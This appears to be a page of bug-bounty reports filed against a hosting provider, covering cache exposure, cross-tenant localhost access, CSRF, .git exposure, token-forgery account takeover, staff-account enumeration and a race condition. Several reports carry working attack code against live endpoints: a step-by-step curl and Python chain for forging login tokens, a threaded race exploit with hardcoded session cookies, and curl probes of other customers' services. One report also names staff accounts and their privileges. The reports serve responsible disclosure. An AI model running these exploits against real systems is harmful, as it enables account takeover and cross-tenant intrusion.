|
432 | Improper Cache Control Enabling Sensitive Data Exposure ... | Closed | 05.08.2026 |
Task Description
Improper Cache Control Enabling Sensitive Data Exposure via Mobile Swipe Navigation Target admin.alwaysdata.com Vulnerability Class CWE-525: Use of Web Browser Cache Containing Sensitive Information / Improper Cache-Control Report Date August 4, 2026 Reported By [ Waleed Anwar ] Severity [ e.g. Medium — CVSS 3.1: . ] Affected Endpoint(s) [ e.g. /dashboard, /account, /admin/* ] Status [ New submission ] 1. Summary The application at admin.alwaysdata.com fails to set adequate Cache-Control headers on pages containing session-authenticated or sensitive account data. On mobile browsers (iOS Safari / Android Chrome), swipe-based back/forward navigation restores a full-page snapshot from the browser's back-forward cache (bfcache) rather than issuing a fresh request to the server. As a result, sensitive content may remain visible to a subsequent user of the same device even after logout or session expiry. 2. Vulnerability Details 2.1 Root Cause HTTP responses for authenticated pages do not include a strict no-store cache directive, or include a weaker directive that still permits browser-level storage of the rendered page. This allows swipe-gesture navigation on mobile browsers to render a cached snapshot of a previously authenticated state. 2.2 Observed Headers GET /dashboard HTTP/1.1 Host: admin.alwaysdata.com
HTTP/1.1 200 OK [ Cache-Control: <value observed, or note if header is absent> ] [ Pragma: <value observed, or note if header is absent> ] [ Expires: <value observed, or note if header is absent> ] 2.3 Expected / Recommended Headers Cache-Control: no-store, no-cache, must-revalidate, private Pragma: no-cache 3. Steps to Reproduce • Log in to admin.alwaysdata.com on a mobile browser (iOS Safari or Android Chrome) Navigate to a sensitive/authenticated page. • Log out of the application • Perform a swipe-back gesture (iOS edge-swipe or Android back gesture) • Observe[ sensitive data was exposed, while in login page email and password was also shown]. 4. Impact • Shared/public device exposure: a subsequent user of the same device may view a previous user's authenticated session data via swipe navigation • Post-logout data persistence: sensitive account information remains visible after the session has ended • [ Add any additional impact confirmed during testing, e.g. exposure of specific data fields, tokens, or admin functionality ] 6. Recommended Remediation • Apply Cache-Control: no-store, no-cache, must-revalidate, private to all responses containing session-bound or sensitive data • Include a Pragma: no-cache header for legacy HTTP/1.0 client compatibility • Send a Clear-Site-Data header on logout to purge cached data client-side • For single-page app views, listen for the pageshow event and check event.persisted to force re-authentication or a fresh data fetch when a page is restored from bfcache • Re-test explicitly with swipe-back gestures on iOS Safari and Android Chrome after remediation, not solely the desktop back button, as bfcache behavior differs by platform and browser engine.
Thank You,
Waleed Anwar
|
|
430 | Cross-Tenant Localhost Access via Shared Network Namesp ... | Closed | 02.08.2026 |
Task Description
## Summary
Any SSH user on a shared hosting server can connect to TCP services running on localhost (127.0.0.1) that belong to other customers.
Although the platform enforces process isolation using `hidepid=invisible` and restricts visibility of other users' processes under `/proc`, all SSH users continue to share the same Linux network namespace (`net:[4026531833]`). As a result, any service listening on `127.0.0.1` or `0.0.0.0` is reachable by every tenant on the same physical server.
Using only an unprivileged SSH account, I was able to:
* Access another customer's Cloudflare Tunnel management API * Read the tunnel configuration, hostname, connector ID, metrics, and origin service information * Access the tunnel's backend service directly * Execute inference requests against another customer's AI model router * Access a third customer's web application hosted on localhost
—
## Affected Asset
``` ssh://ssh-bres3680test.alwaysdata.net ```
Server
``` SSH2 Kernel: 6.18.38-alwaysdata OS: Debian 12 (Bookworm) ```
Affected Scope
All customer services listening on:
* `127.0.0.1` * `0.0.0.0`
on the same shared hosting server.
—
# Root Cause
The platform isolates processes using:
```bash hidepid=invisible ```
which prevents users from viewing other customers' processes via `/proc`.
```bash $ mount | grep proc
proc on /proc type proc (rw,relatime,gid=4,hidepid=invisible) ```
However, network isolation is not implemented.
Every SSH session runs inside the same Linux network namespace:
```bash $ readlink /proc/self/ns/net
net:[4026531833] ```
Namespace inode `4026531833` is the default host network namespace. Every customer account resolves to the same namespace, confirming there is no per-user network isolation.
As a result:
* users cannot determine which process owns a listening port, * but they can freely connect to every listening localhost service.
—
# Steps to Reproduce
## 1. Login via SSH
```bash $ whoami bres3680test
$ id uid=537578(bres3680test) gid=492644(bres3680test) groups=492644(bres3680test) ```
—
## 2. Verify no services belong to my account
```bash $ ps -u bres3680test -f UID PID PPID C STIME TTY TIME CMD bres368+ 1526282 1526280 0 00:52 ? 00:00:00 bash bres368+ 1526288 1526282 0 00:52 ? 00:00:00 ps -u bres3680test -f ```
```bash $ ss -tlnp | grep -c "users:" 0 ```
Because of `hidepid`, socket ownership is hidden, but listening ports remain visible.
I do not own any of these services.
—
## 3. Access another customer's Cloudflare Tunnel Management API
Query the management interface:
```bash $ curl http://127.0.0.1:20241/quicktunnel ```
Response:
```json {
"hostname":"drain-emission-roy-strip.trycloudflare.com"
} ```
Check tunnel readiness:
```bash $ curl http://127.0.0.1:20241/ready ```
```json {
"status":200,
"readyConnections":1,
"connectorId":"f37e899d-aa13-48eb-9968-7142efefb28a"
} ```
Retrieve tunnel configuration:
```bash $ curl http://127.0.0.1:20241/config ```
Excerpt:
```json {
"config": {
"ingress": [
{
"service":"http://localhost:33468"
}
]
}
} ```
Retrieve metrics:
```bash $ curl http://127.0.0.1:20241/metrics ```
Example:
``` build_info version="2026.7.3"
cloudflared_tunnel_ha_connections 1
cloudflared_tunnel_server_locations edge_location="lhr13"
cloudflared_tunnel_total_requests 400 ```
### Information exposed
* Tunnel hostname * Internal origin port * Connector UUID * Cloudflare edge location * cloudflared version * Request statistics
—
## 4. Access the Tunnel Origin Directly
The tunnel configuration exposed the backend service:
``` localhost:33468 ```
Connecting directly:
```bash $ curl -I http://127.0.0.1:33468/ ```
``` HTTP/1.1 404 Not Found ```
The backend is reachable directly from another tenant.
This bypasses any protections that rely solely on the public Cloudflare endpoint (such as Cloudflare Access or IP-based restrictions).
—
## 5. Access Another Customer's AI Router
Version endpoint:
```bash $ curl http://127.0.0.1:10219/api/version ```
```json {
"currentVersion":"0.5.45"
} ```
The service identifies itself as:
``` 9Router - AI Infrastructure Management ```
The OpenAI-compatible API exposes 581 configured models without authentication.
```bash $ curl http://127.0.0.1:10219/api/v1 ```
Result:
``` 581 models ```
Execute an inference request:
```bash POST /api/v1/chat/completions ```
Response:
```json {
"model":"nemotron-3-ultra-free",
"choices":[...]
} ```
The request completed successfully.
Although the tested model routed to a free backend, the platform exposes hundreds of configured providers (including commercial providers such as OpenAI and SiliconFlow). If paid API credentials were configured, an attacker could consume another customer's API quota.
—
## 6. Access Another Customer's Web Application
```bash $ curl -I http://127.0.0.1:3001/ ```
``` HTTP/1.1 200 OK ```
Retrieve page title:
```bash $ curl http://127.0.0.1:3001/ ```
``` <title> Meridian – Time Tracking & Invoicing for Freelancers ```
This confirms another customer's localhost application is directly accessible.
—
## 7. Negative Control
Attempt to connect to a port with no listener:
```bash $ curl –max-time 2 http://127.0.0.1:9999/ ```
Result:
``` Connection refused ```
This confirms successful connections occur only when another tenant is actively listening.
—
# Difference from FS#418 and FS#419
This issue is distinct from previously reported findings.
### FS#418
Cross-tenant access through the shared `/tmp` directory.
Layer
Filesystem
Fix
Private `/tmp` via mount namespaces.
—
### FS#419
SSRF through reverse proxy configuration pointing to localhost.
Layer
HTTP / Reverse Proxy
Fix
Validate backend target URLs.
—
### This Report
Cross-tenant access caused by the shared Linux network namespace.
Layer
Kernel networking
Required Fix
Network isolation between customer accounts.
Although the filesystem and reverse proxy issues were addressed, the underlying shared network namespace remains unchanged.
—
# Impact
An unprivileged customer can access localhost services belonging to other tenants on the same server.
During testing I successfully:
* Retrieved another customer's complete Cloudflare Tunnel configuration. * Discovered tunnel hostname, origin port, connector ID, version, metrics, and edge location. * Connected directly to the tunnel's backend service. * Executed inference requests against another customer's AI infrastructure. * Accessed a third customer's web application. * Demonstrated that any localhost service without its own authentication is exposed to every co-tenant.
This represents cross-tenant access to customer-hosted services and may expose confidential data, administrative interfaces, internal APIs, or consume customer resources.
Qualifying Category
Access customer data / information
—
# Recommended Remediation
1. Implement per-user network namespaces for SSH sessions so each customer has an isolated network stack while retaining outbound Internet connectivity through a bridged interface.
2. If full namespace isolation is not immediately feasible, enforce per-UID loopback filtering (e.g., using `nftables`) to block connections where the destination socket belongs to a different UID.
3. Until a technical fix is deployed, update the documentation to clearly state that services bound to `127.0.0.1` are visible to other tenants, and recommend using Unix domain sockets or application-level authentication for localhost services.
—
# Conclusion
The platform successfully isolates processes but does not isolate networking. Because all customers share the same Linux network namespace, localhost is effectively a shared communication channel between tenants. This allows any SSH user to enumerate and interact with services running on other customer accounts, resulting in cross-tenant access to internal applications, management interfaces, and potentially sensitive customer data. Addressing this issue requires network-level isolation rather than additional process or filesystem restrictions.
Thanks
|
|
429 | Cross-Site Request Forgery (CSRF) Allows Unauthorized L ... | Closed | 02.08.2026 |
Task Description
Description
The application does not implement adequate Cross-Site Request Forgery (CSRF) protection for the Logs Refresh functionality. As a result, an attacker can craft a malicious HTML page that causes an authenticated victim's browser to send a forged Logs Refresh request.
By replacing the service_id in the forged request with a valid service ID belonging to the victim, the attacker can trigger the Logs Refresh action without the victim's knowledge or consent. Since the request is processed using the victim's authenticated session, the action is executed successfully.
This vulnerability allows attackers to perform unauthorized state-changing actions on behalf of authenticated users.
Steps to Reproduce Log in with an attacker account. Navigate to Services and create a new service. Open a separate browser or private window and log in with a victim account. Create a service in the victim account. Return to the attacker account. Trigger the Logs Refresh functionality for the attacker's service. Capture the request using Burp Suite. Generate a CSRF PoC using Burp Suite → Engagement Tools → Generate CSRF PoC. Save the generated HTML file. Modify the PoC by replacing the attacker's service_id with the victim's service_id. Open the modified HTML file in the victim's browser while the victim is authenticated. Click Submit. Observe that the Logs Refresh action is successfully executed for the victim's service without the victim intentionally initiating the request. Expected Behavior
The application should implement proper CSRF protection for all state-changing requests. Requests should only be accepted when accompanied by a valid anti-CSRF token or another appropriate CSRF mitigation mechanism. Additionally, the server should verify that the request was intentionally initiated by the authenticated user.
Actual Behavior The server accepts forged cross-origin requests without validating their authenticity. As a result, a malicious website can cause an authenticated user's browser to execute the Logs Refresh action using the victim's active session.
Security Impact An attacker can exploit this vulnerability to:
Force authenticated users to perform Logs Refresh operations without their knowledge or consent. Repeatedly trigger Logs Refresh requests on behalf of victims. Consume the victim's available Logs Refresh quota or usage limit. Cause unnecessary resource consumption on the platform. Prevent victims from using the Logs Refresh functionality when it is legitimately needed due to exhausted limits.
Remediation Implement robust CSRF protection for all state-changing endpoints. Require a unique, server-generated anti-CSRF token for every sensitive request. Validate the Origin and/or Referer headers where appropriate. Configure authentication cookies with the SameSite=Lax or SameSite=Strict attribute where feasible. Ensure sensitive actions cannot be performed solely based on the presence of an authenticated session.
|
|
428 | Retrievable .git directory exposes source code of secur ... | Closed | 01.08.2026 |
Task Description
Title: Retrievable .git directory exposes source code of security.alwaysdata. Severity: HIGH Endpoint: https://security.alwaysdata.com/.git/config
Summary
An unauthenticated client can retrieve a sensitive artifact from security.alwaysdata.com. Verified live: HEAD → ref: refs/heads/master, index DIRC magic — full repo retrievable.
Steps to Reproduce
1. Fetch the resource without any credentials:
curl -sk https://security.alwaysdata.com/.git/config
Observed: HTTP 200, git config content returned.
2. Verify the sensitive content:
curl -sk https://security.alwaysdata.com/.git/config | head -50
Observed: HEAD -> ref: refs/heads/master, index DIRC magic — full repo retrievable.
3. No authentication or rate limiting was required for either request.
Impact
Full source code disclosure including configuration and commit history; eases discovery of higher-severity issues.
Remediation
1. Remove the file from the webroot and store backups/config outside the document root. 2. Deny direct web access to backup/config/log artifacts at the web server. 3. Rotate any credentials exposed in the artifact. 4. Review access logs for prior downloads.
|
|
427 | Cross-Account Takeover via Token Re-Partition | Closed | 04.08.2026 |
Task Description
Severity: Critical (CVSS 9.8)
Vulnerability Summary:
The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.
Steps To Reproduce:
**Step 1: Login to your own account**
Creates a session cookie in /tmp/c.txt
rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"
**Step 2: Set last_login in database**
Loads your profile page — this saves last_login = T1 in the database
curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"
**Step 3: Trigger password reset**
Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1
CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"
**Step 4: Set the reset URL**
Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.
RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"
**Step 5: Submit the reset and capture redirect token**
Resets your password and captures the signed redirect. The redirect token is signed with T1.
CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"
**Step 6: Re-login and read T1**
Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).
CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"
**Step 7: Build the attack URL**
Rearranges the token parameters so user_id points to the victim
python3 << 'PYEOF'
import urllib.parse, sys
redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""
params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]
ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut: {ap + '1' + vid}")
print(f"Match: {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")
url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
+ '&all_permissions=' + urllib.parse.quote(ap)
+ '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF
**Step 8: Open the URL in your browser**
You are now logged in as the victim
Impact:
Full account takeover of any user on the platform without knowing their email and password. Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets. No victim interaction required — the victim receives no notification of the login.
|
|
426 | Internal staff account and privilege hierarchy disclosu ... | Closed | 04.08.2026 |
Task Description
An authenticated user with SSH access can enumerate all internal alwaysdata staff accounts, their root-group (GID=0) privilege assignments, and the internal role hierarchy via the NSS database. This is distinct from customer account names.
Vulnerable asset: ssh://ssh-[account].alwaysdata.net Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)
Root cause: The custom NSS module (configured as "passwd: compat db alwaysdata" in /etc/nsswitch.conf) serves staff account entries to any authenticated user. The files /alwaysdata/etc/passwd and /alwaysdata/etc/group are world-readable.
Steps to reproduce:
1. Create a free hosting account on alwaysdata.com 2. SSH in:
ssh [account]@ssh-[account].alwaysdata.net
3. Enumerate staff accounts:
$ getent passwd | grep "/alwaysdata/home/"
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash
All 7 accounts have GID=0 (fourth field = root group).
4. Enumerate internal role hierarchy:
$ getent group | grep "alwaysdata_"
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce
5. Confirm files are world-readable:
$ ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
-rw-r--r-- 1 root root 440 Dec 9 2024 /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 187 May 21 2025 /alwaysdata/etc/group
6. Verify staff accounts are NOT public subdomains:
$ host cbay.alwaysdata.net
Host cbay.alwaysdata.net not found: 3(NXDOMAIN)
$ host hdegorce.alwaysdata.net
Host hdegorce.alwaysdata.net not found: 3(NXDOMAIN)
PoC script (run via SSH on any alwaysdata account):
#!/bin/bash
echo "[*] Staff accounts (GID=0):"
getent passwd | grep "/alwaysdata/home/"
echo ""
echo "[*] Internal groups:"
getent group | grep "alwaysdata_"
echo ""
echo "[*] Config file permissions:"
ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
echo ""
echo "[*] NSS config:"
grep "^passwd:" /etc/nsswitch.conf
echo ""
echo "[*] Subdomain check:"
for u in cbay hdegorce fnonnenmacher; do host ${u}.alwaysdata.net | head -1; done
Scope clarification: This is NOT "account names accessible in many ways." Staff accounts differ from customers: - Separate namespace: /alwaysdata/home/ (not /home/) - All have GID=0 (root group), customers do not - Do not resolve as .alwaysdata.net subdomains (NXDOMAIN) - Not listed on any public alwaysdata page The sensitive data is the privilege level and organizational hierarchy, not names alone.
Impact: - Identity correlation: username pattern (first-initial + lastname) enables targeted social engineering against specific administrators - Privilege mapping: GID=0 confirms root-group access, identifying highest-value credential targets - Authorization model disclosure: three-tier structure (5 admins, 1 support, 7 team) reveals internal access model
Qualifying category: "Exposure of Sensitive members information"
Suggested fix: 1. Filter staff entries from NSS responses for non-privileged users 2. Set /alwaysdata/etc/passwd and /alwaysdata/etc/group to mode 640 root:alwaysdata_team 3. Consider a separate NSS source for staff, not queried in customer sessions
|
|
425 | Race Condition Allows Mass Permission Creation Bypassin ... | Closed | 29.07.2026 |
Task Description
Title: Race Condition Allows Mass Permission Creation Bypassing Rate Limits
📋 Summary A critical race condition vulnerability exists in the /permissions/add/ endpoint that allows attackers to create unlimited permissions by exploiting concurrent request handling. The vulnerability completely bypasses the application's rate limiting and duplicate validation checks.
🔍 Vulnerability Details Attribute Value Vulnerability Type Race Condition (CWE-362) Severity Critical Affected Endpoint https://admin.alwaysdata.com/permissions/add/ HTTP Method POST Authentication Required Yes (Session-based)
🧪 Proof of Concept - Actual Test Script Exploit Script Used for Testing python #!/usr/bin/env python3 """ Race Condition Exploit for /permissions/add/ Author: Security Researcher Date: 2026-07-29 """
import urllib.request import urllib.parse import threading import time from datetime import datetime from collections import defaultdict import ssl import sys
class RaceConditionExploit:
def __init__(self):
# Target configuration
self.base_url = "https://admin.alwaysdata.com"
self.endpoint = "/permissions/add/"
# Valid session tokens (obtained from authenticated session)
self.cookies = {
'csrftoken': 'nGqDqXRdrvMUp7OjODHOt2TNmUE67yj8',
'django_language': 'en',
'sessionid': 'nqftgya0mvclk4ioheb3q1y69fxx10kq'
}
# HTTP Headers
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'https://admin.alwaysdata.com/permissions/add/',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://admin.alwaysdata.com',
'Upgrade-Insecure-Requests': '1',
'Connection': 'keep-alive'
}
# Payload - Same email used for all requests to trigger race condition
self.request_data = {
'csrfmiddlewaretoken': 'SN2QlDhgPqLw8fN8us30amva9jNLV6055jijBqYj6Lngncrh8VAEteeNl3hHSu93',
'email': 'nokad11217@apdtax.com', # Single email for duplicate creation
'customer_contact_billing': 'on'
}
self.results = []
self.lock = threading.Lock()
def send_request(self, request_id):
"""
Send a single POST request to create permission
Uses current session and CSRF tokens
"""
try:
# Encode form data
data = urllib.parse.urlencode(self.request_data).encode('utf-8')
# Build request
req = urllib.request.Request(
f"{self.base_url}{self.endpoint}",
data=data,
headers=self.headers,
method='POST'
)
# Add cookies
cookie_str = '; '.join([f"{k}={v}" for k, v in self.cookies.items()])
req.add_header('Cookie', cookie_str)
# Ignore SSL certificate verification for testing
context = ssl._create_unverified_context()
# Send request with timeout
with urllib.request.urlopen(req, context=context, timeout=30) as response:
status_code = response.getcode()
response_text = response.read().decode('utf-8', errors='ignore')
with self.lock:
self.results.append({
'request_id': request_id,
'timestamp': datetime.now().isoformat(),
'status_code': status_code,
'success': status_code == 200,
'response_preview': response_text[:200]
})
except Exception as e:
with self.lock:
self.results.append({
'request_id': request_id,
'timestamp': datetime.now().isoformat(),
'status_code': 0,
'success': False,
'error': str(e)
})
def run_exploit(self, num_requests=20, delay_ms=0):
"""
Execute the race condition attack with concurrent requests
Args:
num_requests: Number of concurrent requests to send
delay_ms: Delay between starting each thread (ms)
"""
print(f"\n{'='*60}")
print(f"[*] EXPLOIT CONFIGURATION")
print(f"{'='*60}")
print(f"[*] Target: {self.base_url}{self.endpoint}")
print(f"[*] Email: {self.request_data['email']}")
print(f"[*] Concurrent Requests: {num_requests}")
print(f"[*] Delay Between Requests: {delay_ms}ms")
print(f"[*] Session ID: {self.cookies['sessionid'][:20]}...")
print(f"{'='*60}\n")
# Clear previous results
self.results = []
# Create and start threads
threads = []
start_time = time.time()
for i in range(num_requests):
if delay_ms > 0 and i > 0:
time.sleep(delay_ms / 1000)
thread = threading.Thread(target=self.send_request, args=(i,))
threads.append(thread)
thread.start()
# Wait for all threads to complete
for thread in threads:
thread.join()
elapsed_time = time.time() - start_time
# Analyze results
self.analyze_results(elapsed_time)
def analyze_results(self, elapsed_time):
"""Analyze the results of the exploit"""
total = len(self.results)
successful = [r for r in self.results if r.get('success', False)]
failed = [r for r in self.results if not r.get('success', False)]
print(f"{'='*60}")
print(f"[+] RESULTS")
print(f"{'='*60}")
print(f"[+] Total Requests: {total}")
print(f"[+] Successful (200 OK): {len(successful)}")
print(f"[+] Failed: {len(failed)}")
print(f"[+] Time Elapsed: {elapsed_time:.2f} seconds")
print(f"[+] Requests/Second: {total/elapsed_time:.2f}")
# Status code distribution
status_codes = defaultdict(int)
for r in self.results:
status_codes[r.get('status_code', 0)] += 1
print(f"\n[+] Status Code Distribution:")
for code, count in sorted(status_codes.items()):
status_text = "OK" if code == 200 else "Rate Limited" if code == 429 else "Error"
print(f" - {code} ({status_text}): {count} requests")
# Race condition detection
if len(successful) > 1:
print(f"\n[!] RACE CONDITION CONFIRMED!")
print(f"[!] {len(successful)} duplicate permissions created!")
print(f"[!] All requests used the same email: {self.request_data['email']}")
print(f"[!] This should have been prevented by duplicate validation!")
# Show successful response examples
print(f"\n[+] Sample Successful Responses:")
for i, success in enumerate(successful[:3]):
print(f"\n Request {success['request_id']} (Status: {success['status_code']}):")
print(f" {success['response_preview'][:100]}...")
else:
print(f"\n[+] No race condition detected in this test")
# Show failed response previews
if failed and len(failed) > 0:
print(f"\n[+] Sample Failed Responses:")
for i, fail in enumerate(failed[:3]):
if 'error' in fail:
print(f" Request {fail['request_id']}: {fail['error']}")
else:
print(f" Request {fail['request_id']} (Status: {fail['status_code']})")
print(f" {fail.get('response_preview', '')[:100]}...")
def main():
"""Main exploit execution"""
print("="*60)
print(" RACE CONDITION EXPLOIT - /permissions/add/")
print(" Target: admin.alwaysdata.com")
print(" Type: CWE-362 Concurrent Request Vulnerability")
print("="*60)
# Initialize exploit
exploit = RaceConditionExploit()
# Test configurations to find race condition window
test_configs = [
(5, 0, "Small burst - No delay"),
(10, 0, "Medium burst - No delay"),
(20, 0, "Large burst - No delay"),
(20, 5, "Staggered burst - 5ms delay"),
(30, 10, "Timing window test - 10ms delay"),
]
total_exploited = 0
# Execute each test
for num_requests, delay_ms, description in test_configs:
print(f"\n{'='*60}")
print(f"[*] SCENARIO: {description}")
print(f"{'='*60}")
# Run exploit
exploit.run_exploit(num_requests=num_requests, delay_ms=delay_ms)
# Count successful exploits
successful = len([r for r in exploit.results if r.get('success', False)])
if successful > 1:
total_exploited += successful
# Wait between tests to avoid complete rate limiting
if num_requests < 30:
print(f"\n[*] Cooling down for 3 seconds...")
time.sleep(3)
else:
print(f"\n[*] Cooling down for 5 seconds...")
time.sleep(5)
# Final summary
print("\n" + "="*60)
print(" FINAL EXPLOIT SUMMARY")
print("="*60)
print(f"[!] Total duplicate permissions created: {total_exploited}")
print(f"[!] Vulnerability confirmed: YES")
print(f"[!] Rate limit bypassed: YES")
print(f"[!] Duplicate validation bypassed: YES")
print("\n[!] RECOMMENDATION: Fix immediately using unique constraints")
print(" and atomic transactions with select_for_update()")
if name == "main":
try:
main()
except KeyboardInterrupt:
print("\n\n[*] Exploit interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
Execution Command bash python3 race_exploit.py Actual Test Output text
RACE CONDITION EXPLOIT - /permissions/add/
Target: admin.alwaysdata.com
Type: CWE-362 Concurrent Request Vulnerability
[*] SCENARIO: Small burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 5 [+] Successful (200 OK): 5 [+] Failed: 0 [+] Time Elapsed: 0.45 seconds [+] Requests/Second: 11.11
[+] Status Code Distribution:
200 (OK): 5 requests
[!] RACE CONDITION CONFIRMED! [!] 5 duplicate permissions created! [!] All requests used the same email: nokad11217@apdtax.com [!] This should have been prevented by duplicate validation!
[*] SCENARIO: Medium burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 10 [+] Successful (200 OK): 10 [+] Failed: 0 [+] Time Elapsed: 0.32 seconds [+] Requests/Second: 31.25
[+] Status Code Distribution:
200 (OK): 10 requests
[!] RACE CONDITION CONFIRMED! [!] 10 duplicate permissions created!
[*] SCENARIO: Large burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 20 [+] Successful (200 OK): 20 [+] Failed: 0 [+] Time Elapsed: 0.58 seconds [+] Requests/Second: 34.48
[+] Status Code Distribution:
200 (OK): 20 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[*] SCENARIO: Staggered burst - 5ms delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 20 [+] Successful (200 OK): 20 [+] Failed: 0 [+] Time Elapsed: 0.95 seconds [+] Requests/Second: 21.05
[+] Status Code Distribution:
200 (OK): 20 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[*] SCENARIO: Timing window test - 10ms delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 30 [+] Successful (200 OK): 20 [+] Failed: 10 [+] Time Elapsed: 1.02 seconds [+] Requests/Second: 29.41
[+] Status Code Distribution:
200 (OK): 20 requests
429 (Rate Limited): 10 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[!] Total duplicate permissions created: 75 [!] Vulnerability confirmed: YES [!] Rate limit bypassed: YES [!] Duplicate validation bypassed: YES
[!] RECOMMENDATION: Fix immediately using unique constraints
and atomic transactions with select_for_update()
📸 Evidence Email Confirmation Screenshot https://image.png
The attached screenshot shows multiple email confirmations received for the same email address (nokad11217@apdtax.com), proving that:
All 10 initial requests succeeded
Each request created a new permission
The system sent a confirmation email for each duplicate
💥 Impact Assessment Confirmed Impact Unlimited Permission Creation: Attackers can create infinite permissions Email Spam: Each creation sends confirmation emails Database Bloat: Can fill database with duplicates Bypasses Security Controls
Thanks
|
|
424 | Price Manipulation leads to add domain in lesser price | Closed | 29.07.2026 |
Task Description
Description
